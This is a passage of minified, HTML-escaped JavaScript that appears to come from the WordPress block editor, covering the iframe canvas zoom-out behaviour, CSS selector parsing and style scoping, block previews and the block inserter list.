0&quot;,scale:n,paddingTop:o/n+&quot;px&quot;,paddingBottom:o/n+&quot;px&quot;},{translate:`0 ${r-l}px`,scale:i,paddingTop:s/i+&quot;px&quot;,paddingBottom:s/i+&quot;px&quot;}]}(v.current,_.current),{easing:&quot;cubic-bezier(0.46, 0.03, 0.52, 0.96)&quot;,duration:400})}),[t]),x=(0,h.useCallback)((()=&gt;{g.current=!1,f.current=null,t.documentElement.style.setProperty(&quot;--wp-block-editor-iframe-zoom-out-scale&quot;,_.current.scaleValue),t.documentElement.style.setProperty(&quot;--wp-block-editor-iframe-zoom-out-frame-size&quot;,`${_.current.frameSize}px`),t.documentElement.classList.remove(&quot;zoom-out-animation&quot;),t.documentElement.scrollTop=_.current.scrollTop,t.documentElement.style.removeProperty(&quot;--wp-block-editor-iframe-zoom-out-scroll-top&quot;),t.documentElement.style.removeProperty(&quot;--wp-block-editor-iframe-zoom-out-scroll-top-next&quot;),t.documentElement.style.removeProperty(&quot;--wp-block-editor-iframe-zoom-out-overflow-behavior&quot;),v.current=_.current}),[t]),S=(0,h.useRef)(!1);return(0,h.useEffect)((()=&gt;{const e=t&amp;&amp;S.current!==u;if(S.current=u,e&amp;&amp;(g.current=!0,u))return t.documentElement.classList.add(&quot;is-zoomed-out&quot;),()=&gt;{t.documentElement.classList.remove(&quot;is-zoomed-out&quot;)}}),[t,u]),(0,h.useEffect)((()=&gt;{if(t&amp;&amp;(p&amp;&amp;1!==v.current.scaleValue&amp;&amp;(v.current.scaleValue=Nw({frameSize:v.current.frameSize,containerWidth:l,maxContainerWidth:n,scaleContainerWidth:l})),k&lt;1&amp;&amp;(g.current||(t.documentElement.style.setProperty(&quot;--wp-block-editor-iframe-zoom-out-scale&quot;,k),t.documentElement.style.setProperty(&quot;--wp-block-editor-iframe-zoom-out-frame-size&quot;,`${e}px`)),t.documentElement.style.setProperty(&quot;--wp-block-editor-iframe-zoom-out-content-height&quot;,`${i}px`),t.documentElement.style.setProperty(&quot;--wp-block-editor-iframe-zoom-out-inner-height&quot;,`${a}px`),t.documentElement.style.setProperty(&quot;--wp-block-editor-iframe-zoom-out-container-width&quot;,`${l}px`),t.documentElement.style.setProperty(&quot;--wp-block-editor-iframe-zoom-out-scale-container-width&quot;,`${b}px`)),g.current))if(g.current=!1,f.current){f.current.reverse();const e=v.current,t=_.current;v.current=t,_.current=e}else v.current.scrollTop=t.documentElement.scrollTop,v.current.scrollHeight=t.documentElement.scrollHeight,v.current.containerHeight=a,_.current={scaleValue:k,frameSize:e,containerHeight:t.documentElement.clientHeight},_.current.scrollHeight=function(e,t){const{scaleValue:n,scrollHeight:o}=e,{frameSize:r,scaleValue:i}=t;return o*(i/n)+2*r}(v.current,_.current),_.current.scrollTop=function(e,t){const{containerHeight:n,frameSize:o,scaleValue:r,scrollTop:i}=e,{containerHeight:s,frameSize:l,scaleValue:a,scrollHeight:c}=t;let u=i;u=(u+n/2-o)/r-n/2,u=(u+s/2)*a+l-s/2,u=i&lt;=o?0:u;const d=c-s;return Math.round(Math.min(Math.max(0,u),Math.max(0,d)))}(v.current,_.current),f.current=y(),d?x():f.current.onfinish=x}),[y,x,d,p,k,e,t,i,l,a,n,b]),{isZoomedOut:u,scaleContainerWidth:b,contentResizeListener:r,containerResizeListener:s}}function Dw(e,t,n){const o={};for(const t in e)o[t]=e[t];if(e instanceof n.contentDocument.defaultView.MouseEvent){const e=n.getBoundingClientRect();o.clientX+=e.left,o.clientY+=e.top}const r=new t(e.type,o);o.defaultPrevented&amp;&amp;r.preventDefault();!n.dispatchEvent(r)&amp;&amp;e.preventDefault()}function Ow(e){return(0,m.useRefEffect)((()=&gt;{const{defaultView:t}=e;if(!t)return;const{frameElement:n}=t,o=e.documentElement,r=[&quot;dragover&quot;,&quot;mousemove&quot;],i={};for(const e of r)i[e]=e=&gt;{const t=Object.getPrototypeOf(e).constructor.name;Dw(e,window[t],n)},o.addEventListener(e,i[e]);return()=&gt;{for(const e of r)o.removeEventListener(e,i[e])}}))}function zw({contentRef:e,children:t,tabIndex:n=0,scale:o=1,frameSize:r=0,readonly:i,forwardedRef:s,title:l=(0,T.__)(&quot;Editor canvas&quot;),...a}){const{resolvedAssets:c,isPreviewMode:u}=(0,g.useSelect)((e=&gt;{const{getSettings:t}=e(Ii),n=t();return{resolvedAssets:n.__unstableResolvedAssets,isPreviewMode:n.isPreviewMode}}),[]),{styles:p=&quot;&quot;,scripts:f=&quot;&quot;}=c,[b,k]=(0,h.useState)(),[v,_]=(0,h.useState)([]),y=MS(),[x,S,w]=Pw(),C=(0,m.useRefEffect)((e=&gt;{let t;function n(e){e.preventDefault()}function o(e){&quot;A&quot;===e.target.tagName&amp;&amp;e.target.getAttribute(&quot;href&quot;)?.startsWith(&quot;#&quot;)&amp;&amp;(e.preventDefault(),t.defaultView.location.hash=e.target.getAttribute(&quot;href&quot;).slice(1))}e._load=()=&gt;{k(e.contentDocument)};const{ownerDocument:r}=e;function i(){const{contentDocument:i}=e,{documentElement:s}=i;t=i,s.classList.add(&quot;block-editor-iframe__html&quot;),y(s),i.dir=r.dir;for(const e of Aw||(Aw=Array.from(document.styleSheets).reduce(((e,t)=&gt;{try{t.cssRules}catch(t){return e}const{ownerNode:n,cssRules:o}=t;if(null===n)return e;if(!o)return e;if(n.id.startsWith(&quot;wp-&quot;))return e;if(!n.id)return e;if(function e(t){return Array.from(t).find((({selectorText:t,conditionText:n,cssRules:o})=&gt;n?e(o):t&amp;&amp;(t.includes(&quot;.editor-styles-wrapper&quot;)||t.includes(&quot;.wp-block&quot;))))}(o)){const t=&quot;STYLE&quot;===n.tagName;if(t){const t=n.id.replace(&quot;-inline-css&quot;,&quot;-css&quot;),o=document.getElementById(t);o&amp;&amp;e.push(o.cloneNode(!0))}if(e.push(n.cloneNode(!0)),!t){const t=n.id.replace(&quot;-css&quot;,&quot;-inline-css&quot;),o=document.getElementById(t);o&amp;&amp;e.push(o.cloneNode(!0))}}return e}),[]),Aw))i.getElementById(e.id)||(i.head.appendChild(e.cloneNode(!0)),u||console.warn(`${e.id} was added to the iframe incorrectly. Please use block.json or enqueue_block_assets to add styles to the iframe.`,e));t.addEventListener(&quot;dragover&quot;,n,!1),t.addEventListener(&quot;drop&quot;,n,!1),t.addEventListener(&quot;click&quot;,o)}return _(Array.from(r.body.classList).filter((e=&gt;e.startsWith(&quot;admin-color-&quot;)||e.startsWith(&quot;post-type-&quot;)||&quot;wp-embed-responsive&quot;===e))),e.addEventListener(&quot;load&quot;,i),()=&gt;{delete e._load,e.removeEventListener(&quot;load&quot;,i),t?.removeEventListener(&quot;dragover&quot;,n),t?.removeEventListener(&quot;drop&quot;,n),t?.removeEventListener(&quot;click&quot;,o)}}),[]),{contentResizeListener:B,containerResizeListener:I,isZoomedOut:j,scaleContainerWidth:E}=Lw({scale:o,frameSize:parseInt(r),iframeDocument:b}),M=(0,m.useDisabled)({isDisabled:!i}),P=(0,m.useMergeRefs)([Ow(b),e,y,S,M]),R=`&lt;!doctype html&gt;\n&lt;html&gt;\n\t&lt;head&gt;\n\t\t&lt;meta charset=&quot;utf-8&quot;&gt;\n\t\t&lt;base href=&quot;${window.location.origin}&quot;&gt;\n\t\t&lt;script&gt;window.frameElement._load()&lt;\/script&gt;\n\t\t&lt;style&gt;\n\t\t\thtml{\n\t\t\t\theight: auto !important;\n\t\t\t\tmin-height: 100%;\n\t\t\t}\n\t\t\t/* Lowest specificity to not override global styles */\n\t\t\t:where(body) {\n\t\t\t\tmargin: 0;\n\t\t\t\t/* Default background color in case zoom out mode background\n\t\t\t\tcolors the html element */\n\t\t\t\tbackground-color: white;\n\t\t\t}\n\t\t&lt;/style&gt;\n\t\t${p}\n\t\t${f}\n\t&lt;/head&gt;\n\t&lt;body&gt;\n\t\t&lt;script&gt;document.currentScript.parentElement.remove()&lt;\/script&gt;\n\t&lt;/body&gt;\n&lt;/html&gt;`,[A,N]=(0,h.useMemo)((()=&gt;{const e=URL.createObjectURL(new window.Blob([R],{type:&quot;text/html&quot;}));return[e,()=&gt;URL.revokeObjectURL(e)]}),[R]);(0,h.useEffect)((()=&gt;N),[N]);const L=n&gt;=0&amp;&amp;!u,D=(0,d.jsxs)(d.Fragment,{children:[L&amp;&amp;x,(0,d.jsx)(&quot;iframe&quot;,{...a,style:{...a.style,height:a.style?.height,border:0},ref:(0,m.useMergeRefs)([s,C]),tabIndex:n,src:A,title:l,onKeyDown:e=&gt;{if(a.onKeyDown&amp;&amp;a.onKeyDown(e),e.currentTarget.ownerDocument!==e.target.ownerDocument){const{stopPropagation:t}=e.nativeEvent;e.nativeEvent.stopPropagation=()=&gt;{},e.stopPropagation(),e.nativeEvent.stopPropagation=t,Dw(e,window.KeyboardEvent,e.currentTarget)}},children:b&amp;&amp;(0,h.createPortal)((0,d.jsxs)(&quot;body&quot;,{ref:P,className:gs(&quot;block-editor-iframe__body&quot;,&quot;editor-styles-wrapper&quot;,...v),children:[B,(0,d.jsx)(Ss.__experimentalStyleProvider,{document:b,children:t})]}),b.documentElement)}),L&amp;&amp;w]});return(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-iframe__container&quot;,children:[I,(0,d.jsx)(&quot;div&quot;,{className:gs(&quot;block-editor-iframe__scale-container&quot;,j&amp;&amp;&quot;is-zoomed-out&quot;),style:{&quot;--wp-block-editor-iframe-zoom-out-scale-container-width&quot;:j&amp;&amp;`${E}px`},children:D})]})}var Vw=(0,h.forwardRef)((function(e,t){return(0,g.useSelect)((e=&gt;e(Ii).getSettings().__internalIsInitialized),[])?(0,d.jsx)(zw,{...e,forwardedRef:t}):null}));const Fw={attribute:/\[\s*(?:(?&lt;namespace&gt;\*|[-\w\P{ASCII}]*)\|)?(?&lt;name&gt;[-\w\P{ASCII}]+)\s*(?:(?&lt;operator&gt;\W?=)\s*(?&lt;value&gt;.+?)\s*(\s(?&lt;caseSensitive&gt;[iIsS]))?\s*)?\]/gu,id:/#(?&lt;name&gt;[-\w\P{ASCII}]+)/gu,class:/\.(?&lt;name&gt;[-\w\P{ASCII}]+)/gu,comma:/\s*,\s*/g,combinator:/\s*[\s&gt;+~]\s*/g,&quot;pseudo-element&quot;:/::(?&lt;name&gt;[-\w\P{ASCII}]+)(?:\((?&lt;argument&gt;¶*)\))?/gu,&quot;pseudo-class&quot;:/:(?&lt;name&gt;[-\w\P{ASCII}]+)(?:\((?&lt;argument&gt;¶*)\))?/gu,universal:/(?:(?&lt;namespace&gt;\*|[-\w\P{ASCII}]*)\|)?\*/gu,type:/(?:(?&lt;namespace&gt;\*|[-\w\P{ASCII}]*)\|)?(?&lt;name&gt;[-\w\P{ASCII}]+)/gu},Hw=new Set([&quot;combinator&quot;,&quot;comma&quot;]),Uw=(new Set([&quot;not&quot;,&quot;is&quot;,&quot;where&quot;,&quot;has&quot;,&quot;matches&quot;,&quot;-moz-any&quot;,&quot;-webkit-any&quot;,&quot;nth-child&quot;,&quot;nth-last-child&quot;]),e=&gt;{switch(e){case&quot;pseudo-element&quot;:case&quot;pseudo-class&quot;:return new RegExp(Fw[e].source.replace(&quot;(?&lt;argument&gt;¶*)&quot;,&quot;(?&lt;argument&gt;.*)&quot;),&quot;gu&quot;);default:return Fw[e]}});function Gw(e,t){let n=0,o=&quot;&quot;;for(;t&lt;e.length;t++){const r=e[t];switch(r){case&quot;(&quot;:++n;break;case&quot;)&quot;:--n}if(o+=r,0===n)return o}return o}const $w=/([&#039;&quot;])([^\\\n]+?)\1/g,Ww=/\\./g;function Kw(e,t=Fw){if(&quot;&quot;===(e=e.trim()))return[];const n=[];e=(e=e.replace(Ww,((e,t)=&gt;(n.push({value:e,offset:t}),&quot;&quot;.repeat(e.length))))).replace($w,((e,t,o,r)=&gt;(n.push({value:e,offset:r}),`${t}${&quot;&quot;.repeat(o.length)}${t}`)));{let t,o=0;for(;(t=e.indexOf(&quot;(&quot;,o))&gt;-1;){const r=Gw(e,t);n.push({value:r,offset:t}),e=`${e.substring(0,t)}(${&quot;¶&quot;.repeat(r.length-2)})${e.substring(t+r.length)}`,o=t+r.length}}const o=function(e,t=Fw){if(!e)return[];const n=[e];for(const[e,o]of Object.entries(t))for(let t=0;t&lt;n.length;t++){const r=n[t];if(&quot;string&quot;!=typeof r)continue;o.lastIndex=0;const i=o.exec(r);if(!i)continue;const s=i.index-1,l=[],a=i[0],c=r.slice(0,s+1);c&amp;&amp;l.push(c),l.push({...i.groups,type:e,content:a});const u=r.slice(s+a.length+1);u&amp;&amp;l.push(u),n.splice(t,1,...l)}let o=0;for(const e of n)switch(typeof e){case&quot;string&quot;:throw new Error(`Unexpected sequence ${e} found at index ${o}`);case&quot;object&quot;:o+=e.content.length,e.pos=[o-e.content.length,o],Hw.has(e.type)&amp;&amp;(e.content=e.content.trim()||&quot; &quot;)}return n}(e,t),r=new Set;for(const e of n.reverse())for(const t of o){const{offset:n,value:o}=e;if(!(t.pos[0]&lt;=n&amp;&amp;n+o.length&lt;=t.pos[1]))continue;const{content:i}=t,s=n-t.pos[0];t.content=i.slice(0,s)+o+i.slice(s+o.length),t.content!==i&amp;&amp;r.add(t)}for(const e of r){const t=Uw(e.type);if(!t)throw new Error(`Unknown token type: ${e.type}`);t.lastIndex=0;const n=t.exec(e.content);if(!n)throw new Error(`Unable to parse content for ${e.type}: ${e.content}`);Object.assign(e,n.groups)}return o}function*Zw(e,t){switch(e.type){case&quot;list&quot;:for(let t of e.list)yield*Zw(t,e);break;case&quot;complex&quot;:yield*Zw(e.left,e),yield*Zw(e.right,e);break;case&quot;compound&quot;:yield*e.list.map((t=&gt;[t,e]));break;default:yield[e,t]}}var qw=n(9656),Yw=n.n(qw),Xw=n(356),Qw=n.n(Xw),Jw=n(1443),eC=n.n(Jw),tC=n(5404),nC=n.n(tC);const oC=new Map,rC=[{type:&quot;type&quot;,content:&quot;body&quot;},{type:&quot;type&quot;,content:&quot;html&quot;},{type:&quot;pseudo-class&quot;,content:&quot;:root&quot;},{type:&quot;pseudo-class&quot;,content:&quot;:where(body)&quot;},{type:&quot;pseudo-class&quot;,content:&quot;:where(:root)&quot;},{type:&quot;pseudo-class&quot;,content:&quot;:where(html)&quot;}];function iC(e,t){const n=Kw(t);let o=-1;for(let e=n.findLastIndex((({content:e,type:t})=&gt;rC.some((n=&gt;e===n.content&amp;&amp;t===n.type))))+1;e&lt;n.length;e++)if(&quot;combinator&quot;===n[e].type){o=e;break}const r=Kw(e);return n.splice(-1===o?n.length:o,0,{type:&quot;combinator&quot;,content:&quot; &quot;},...r),function(e){let t;return t=Array.isArray(e)?e:[...Zw(e)].map((([e])=&gt;e)),t.map((e=&gt;e.content)).join(&quot;&quot;)}(n)}var sC=(e,t=&quot;&quot;,n)=&gt;{let o=oC.get(t);return o||(o=new WeakMap,oC.set(t,o)),e.map((e=&gt;{let r=o.get(e);return r||(r=function({css:e,ignoredSelectors:t=[],baseURL:n},o=&quot;&quot;,r){if(!o&amp;&amp;!n)return e;try{const i=[...t,...r?.ignoredSelectors??[],o];return new(Yw())([o&amp;&amp;eC()({prefix:o,transform:(e,t,n)=&gt;i.some((e=&gt;e instanceof RegExp?t.match(e):t.includes(e)))?t:rC.some((e=&gt;t.startsWith(e.content)))?iC(e,t):n}),n&amp;&amp;nC()({rootUrl:n})].filter(Boolean)).process(e,{}).css}catch(e){return e instanceof Qw()?console.warn(&quot;wp.blockEditor.transformStyles Failed to transform CSS.&quot;,e.message+&quot;\n&quot;+e.showSourceCode(!1)):console.warn(&quot;wp.blockEditor.transformStyles Failed to transform CSS.&quot;,e),null}}(e,t,n),o.set(e,r)),r}))};function lC(e,t){return(0,h.useCallback)((e=&gt;{if(!e)return;const{ownerDocument:n}=e,{defaultView:o,body:r}=n,i=t?n.querySelector(t):r;let s;if(i)s=o?.getComputedStyle(i,null).getPropertyValue(&quot;background-color&quot;);else{const e=n.createElement(&quot;div&quot;);e.classList.add(&quot;editor-styles-wrapper&quot;),r.appendChild(e),s=o?.getComputedStyle(e,null).getPropertyValue(&quot;background-color&quot;),r.removeChild(e)}const l=Sd(s);l.luminance()&gt;.5||0===l.alpha()?r.classList.remove(&quot;is-dark-theme&quot;):r.classList.add(&quot;is-dark-theme&quot;)}),[e,t])}Cd([Bd,Ed]);var aC=(0,h.memo)((function({styles:e,scope:t,transformOptions:n}){const o=(0,g.useSelect)((e=&gt;U(e(Ii)).getStyleOverrides()),[]),[r,i]=(0,h.useMemo)((()=&gt;{const r=Object.values(e??[]);for(const[e,t]of o){const n=r.findIndex((({id:t})=&gt;e===t)),o={...t,id:e};-1===n?r.push(o):r[n]=o}return[sC(r.filter((e=&gt;e?.css)),t,n),r.filter((e=&gt;&quot;svgs&quot;===e.__unstableType)).map((e=&gt;e.assets)).join(&quot;&quot;)]}),[e,o,t,n]);return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(&quot;style&quot;,{ref:lC(r,t)}),r.map(((e,t)=&gt;(0,d.jsx)(&quot;style&quot;,{children:e},t))),(0,d.jsx)(Ss.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 0 0&quot;,width:&quot;0&quot;,height:&quot;0&quot;,role:&quot;none&quot;,style:{visibility:&quot;hidden&quot;,position:&quot;absolute&quot;,left:&quot;-9999px&quot;,overflow:&quot;hidden&quot;},dangerouslySetInnerHTML:{__html:i}})]})}));const cC=(0,h.memo)(uw),uC=2e3,dC=[];function pC({viewportWidth:e,containerWidth:t,minHeight:n,additionalStyles:o=dC}){e||(e=t);const[r,{height:i}]=(0,m.useResizeObserver)(),{styles:s}=(0,g.useSelect)((e=&gt;({styles:e(Ii).getSettings().styles})),[]),l=(0,h.useMemo)((()=&gt;s?[...s,{css:&quot;body{height:auto;overflow:hidden;border:none;padding:0;}&quot;,__unstableType:&quot;presets&quot;},...o]:s),[s,o]),a=t/e,c=i?t/(i*a):0;return(0,d.jsx)(Ss.Disabled,{className:&quot;block-editor-block-preview__content&quot;,style:{transform:`scale(${a})`,aspectRatio:c,maxHeight:i&gt;uC?uC*a:void 0,minHeight:n},children:(0,d.jsxs)(Vw,{contentRef:(0,m.useRefEffect)((e=&gt;{const{ownerDocument:{documentElement:t}}=e;t.classList.add(&quot;block-editor-block-preview__content-iframe&quot;),t.style.position=&quot;absolute&quot;,t.style.width=&quot;100%&quot;,e.style.boxSizing=&quot;border-box&quot;,e.style.position=&quot;absolute&quot;,e.style.width=&quot;100%&quot;}),[]),&quot;aria-hidden&quot;:!0,tabIndex:-1,style:{position:&quot;absolute&quot;,width:e,height:i,pointerEvents:&quot;none&quot;,maxHeight:uC,minHeight:0!==a&amp;&amp;a&lt;1&amp;&amp;n?n/a:n},children:[(0,d.jsx)(aC,{styles:l}),r,(0,d.jsx)(cC,{renderAppender:!1})]})})}function hC(e){const[t,{width:n}]=(0,m.useResizeObserver)();return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(&quot;div&quot;,{style:{position:&quot;relative&quot;,width:&quot;100%&quot;,height:0},children:t}),(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-preview__container&quot;,children:!!n&amp;&amp;(0,d.jsx)(pC,{...e,containerWidth:n})})]})}const gC=(0,window.wp.priorityQueue.createQueue)();const mC=[];const fC=(0,h.memo)((function({blocks:e,viewportWidth:t=1200,minHeight:n,additionalStyles:o=mC,__experimentalMinHeight:r,__experimentalPadding:i}){r&amp;&amp;(n=r,I()(&quot;The __experimentalMinHeight prop&quot;,{since:&quot;6.2&quot;,version:&quot;6.4&quot;,alternative:&quot;minHeight&quot;})),i&amp;&amp;(o=[...o,{css:`body { padding: ${i}px; }`}],I()(&quot;The __experimentalPadding prop of BlockPreview&quot;,{since:&quot;6.2&quot;,version:&quot;6.4&quot;,alternative:&quot;additionalStyles&quot;}));const s=(0,g.useSelect)((e=&gt;e(Ii).getSettings()),[]),l=(0,h.useMemo)((()=&gt;({...s,focusMode:!1,isPreviewMode:!0})),[s]),a=(0,h.useMemo)((()=&gt;Array.isArray(e)?e:[e]),[e]);return e&amp;&amp;0!==e.length?(0,d.jsx)(tv,{value:a,settings:l,children:(0,d.jsx)(hC,{viewportWidth:t,minHeight:n,additionalStyles:o})}):null}));fC.Async=function({children:e,placeholder:t}){const[n,o]=(0,h.useState)(!1);return(0,h.useEffect)((()=&gt;{const e={};return gC.add(e,(()=&gt;{(0,h.flushSync)((()=&gt;{o(!0)}))})),()=&gt;{gC.cancel(e)}}),[]),n?e:t};var bC=fC;function kC({blocks:e,props:t={},layout:n}){const o=(0,g.useSelect)((e=&gt;e(Ii).getSettings()),[]),r=(0,h.useMemo)((()=&gt;({...o,styles:void 0,focusMode:!1,isPreviewMode:!0})),[o]),i=(0,m.useDisabled)(),s=(0,m.useMergeRefs)([t.ref,i]),l=(0,h.useMemo)((()=&gt;Array.isArray(e)?e:[e]),[e]),a=(0,d.jsxs)(tv,{value:l,settings:r,children:[(0,d.jsx)(aC,{}),(0,d.jsx)(gw,{renderAppender:!1,layout:n})]});return{...t,ref:s,className:gs(t.className,&quot;block-editor-block-preview__live-content&quot;,&quot;components-disabled&quot;),children:e?.length?a:null}}var vC=function({item:e}){const{name:t,title:n,icon:o,description:r,initialAttributes:i,example:s}=e,l=(0,p.isReusableBlock)(e),a=(0,h.useMemo)((()=&gt;s?(0,p.getBlockFromExample)(t,{attributes:{...s.attributes,...i},innerBlocks:s.innerBlocks}):(0,p.createBlock)(t,i)),[t,s,i]),c=144,u=s?.viewportWidth??500,g=280/u,m=0!==g&amp;&amp;g&lt;1?c/g:c;return(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-inserter__preview-container&quot;,children:[(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__preview&quot;,children:l||s?(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__preview-content&quot;,children:(0,d.jsx)(bC,{blocks:a,viewportWidth:u,minHeight:c,additionalStyles:[{css:`\n\t\t\t\t\t\t\t\t\t\tbody { \n\t\t\t\t\t\t\t\t\t\t\tpadding: 24px;\n\t\t\t\t\t\t\t\t\t\t\tmin-height:${Math.round(m)}px;\n\t\t\t\t\t\t\t\t\t\t\tdisplay:flex;\n\t\t\t\t\t\t\t\t\t\t\talign-items:center;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t.is-root-container { width: 100%; }\n\t\t\t\t\t\t\t\t\t`}]})}):(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__preview-content-missing&quot;,children:(0,T.__)(&quot;No preview available.&quot;)})}),!l&amp;&amp;(0,d.jsx)(Yb,{title:n,icon:o,description:r})]})};var _C=(0,h.forwardRef)((function({isFirst:e,as:t,children:n,...o},r){return(0,d.jsx)(Ss.Composite.Item,{ref:r,role:&quot;option&quot;,accessibleWhenDisabled:!0,...o,render:o=&gt;{const r={...o,tabIndex:e?0:o.tabIndex};return t?(0,d.jsx)(t,{...r,children:n}):&quot;function&quot;==typeof n?n(r):(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,...r,children:n})}})})),yC=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M8 7h2V5H8v2zm0 6h2v-2H8v2zm0 6h2v-2H8v2zm6-14v2h2V5h-2zm0 8h2v-2h-2v2zm0 6h2v-2h-2v2z&quot;})});function xC({count:e,icon:t,isPattern:n,fadeWhenDisabled:o}){const r=n&amp;&amp;(0,T.__)(&quot;Pattern&quot;);return(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-draggable-chip-wrapper&quot;,children:(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-draggable-chip&quot;,&quot;data-testid&quot;:&quot;block-draggable-chip&quot;,children:(0,d.jsxs)(Ss.Flex,{justify:&quot;center&quot;,className:&quot;block-editor-block-draggable-chip__content&quot;,children:[(0,d.jsx)(Ss.FlexItem,{children:t?(0,d.jsx)(zu,{icon:t}):r||(0,T.sprintf)((0,T._n)(&quot;%d block&quot;,&quot;%d blocks&quot;,e),e)}),(0,d.jsx)(Ss.FlexItem,{children:(0,d.jsx)(zu,{icon:yC})}),o&amp;&amp;(0,d.jsx)(Ss.FlexItem,{className:&quot;block-editor-block-draggable-chip__disabled&quot;,children:(0,d.jsx)(&quot;span&quot;,{className:&quot;block-editor-block-draggable-chip__disabled-icon&quot;})})]})})})}var SC=({isEnabled:e,blocks:t,icon:n,children:o,pattern:r})=&gt;{const i=(0,g.useSelect)((e=&gt;{const{getBlockType:n}=e(p.store);return 1===t.length&amp;&amp;n(t[0].name)?.icon}),[t]),{startDragging:s,stopDragging:l}=U((0,g.useDispatch)(Ii)),a=(0,h.useMemo)((()=&gt;r?.type===rt.user&amp;&amp;&quot;unsynced&quot;!==r?.syncStatus?[(0,p.createBlock)(&quot;core/block&quot;,{ref:r.id})]:void 0),[r?.type,r?.syncStatus,r?.id]);if(!e)return o({draggable:!1,onDragStart:void 0,onDragEnd:void 0});const c=a??t;return(0,d.jsx)(Ss.Draggable,{__experimentalTransferDataType:&quot;wp-blocks&quot;,transferData:{type:&quot;inserter&quot;,blocks:c},onDragStart:e=&gt;{s();for(const t of c){const n=`wp-block:${t.name}`;e.dataTransfer.items.add(&quot;&quot;,n)}},onDragEnd:()=&gt;{l()},__experimentalDragComponent:(0,d.jsx)(xC,{count:t.length,icon:n||!r&amp;&amp;i,isPattern:!!r}),children:({onDraggableStart:e,onDraggableEnd:t})=&gt;o({draggable:!0,onDragStart:e,onDragEnd:t})})};var wC=(0,h.memo)((function({className:e,isFirst:t,item:n,onSelect:o,onHover:r,isDraggable:i,...s}){const l=(0,h.useRef)(!1),a=n.icon?{backgroundColor:n.icon.background,color:n.icon.foreground}:{},c=(0,h.useMemo)((()=&gt;[(0,p.createBlock)(n.name,n.initialAttributes,(0,p.createBlocksFromInnerBlocksTemplate)(n.innerBlocks))]),[n.name,n.initialAttributes,n.innerBlocks]),u=(0,p.isReusableBlock)(n)&amp;&amp;&quot;unsynced&quot;!==n.syncStatus||(0,p.isTemplatePart)(n);return(0,d.jsx)(SC,{isEnabled:i&amp;&amp;!n.isDisabled,blocks:c,icon:n.icon,children:({draggable:i,onDragStart:c,onDragEnd:p})=&gt;(0,d.jsx)(&quot;div&quot;,{className:gs(&quot;block-editor-block-types-list__list-item&quot;,{&quot;is-synced&quot;:u}),draggable:i,onDragStart:e=&gt;{l.current=!0,c&amp;&amp;(r(null),c(e))},onDragEnd:e=&gt;{l.current=!1,p&amp;&amp;p(e)},children:(0,d.jsxs)(_C,{isFirst:t,className:gs(&quot;block-editor-block-types-list__item&quot;,e),disabled:n.isDisabled,onClick:e=&gt;{e.preventDefault(),o(n,(0,$a.isAppleOS)()?e.metaKey:e.ctrlKey),r(null)},onKeyDown:e=&gt;{const{keyCode:t}=e;t===$a.ENTER&amp;&amp;(e.preventDefault(),o(n,(0,$a.isAppleOS)()?e.metaKey:e.ctrlKey),r(null))},onMouseEnter:()=&gt;{l.current||r(n)},onMouseLeave:()=&gt;r(null),...s,children:[(0,d.jsx)(&quot;span&quot;,{className:&quot;block-editor-block-types-list__item-icon&quot;,style:a,children:(0,d.jsx)(zu,{icon:n.icon,showColors:!0})}),(0,d.jsx)(&quot;span&quot;,{className:&quot;block-editor-block-types-list__item-title&quot;,children:(0,d.jsx)(Ss.__experimentalTruncate,{numberOfLines:3,children:n.title})})]})})})}));var CC=(0,h.forwardRef)((function(e,t){const[n,o]=(0,h.useState)(!1);return(0,h.useEffect)((()=&gt;{n&amp;&amp;(0,Ho.speak)((0,T.__)(&quot;Use left and right arrow keys to move through blocks&quot;))}),[n]),(0,d.jsx)(&quot;div&quot;,{ref:t,role:&quot;listbox&quot;,&quot;aria-orientation&quot;:&quot;horizontal&quot;,onFocus:()=&gt;{o(!0)},onBlur:e=&gt;{!e.currentTarget.contains(e.relatedTarget)&amp;&amp;o(!1)},...e})}));var BC=(0,h.forwardRef)((function(e,t){return(0,d.jsx)(Ss.Composite.Group,{role:&quot;presentation&quot;,ref:t,...e})}));function IC(e,t){const n=[];for(let o=0,r=e.length;o&lt;r;o+=t)n.push(e.slice(o,o+t));return n}var jC=function e({items:t=[],onSelect:n,onHover:o=()=&gt;{},children:r,label:i,isDraggable:s=!0}){const l=&quot;block-editor-block-types-list&quot;,a=(0,m.useInstanceId)(e,l);return(0,d.jsxs)(CC,{className:l,&quot;aria-label&quot;:i,children:[IC(t,3).map(((e,t)=&gt;(0,d.jsx)(BC,{children:e.map(((e,r)=&gt;(0,d.jsx)(wC,{item:e,className:(0,p.getBlockMenuDefaultClassName)(e.id),onSelect:n,onHover:o,isDraggable:s&amp;&amp;!e.isDisabled,isFirst:0===t&amp;&amp;0===r,rowId:`${a}-${t}`},e.id)))},t))),r]})};var EC=function({title:e,icon:t,children:n}){return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-inserter__panel-header&quot;,children:[(0,d.jsx)(&quot;h2&quot;,{className:&quot;block-editor-inserter__panel-title&quot;,children:e}),(0,d.jsx)(Ss.Icon,{icon:t})]}),(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__panel-content&quot;,children:n})]})};var TC=(e,t,n)=&gt;{const 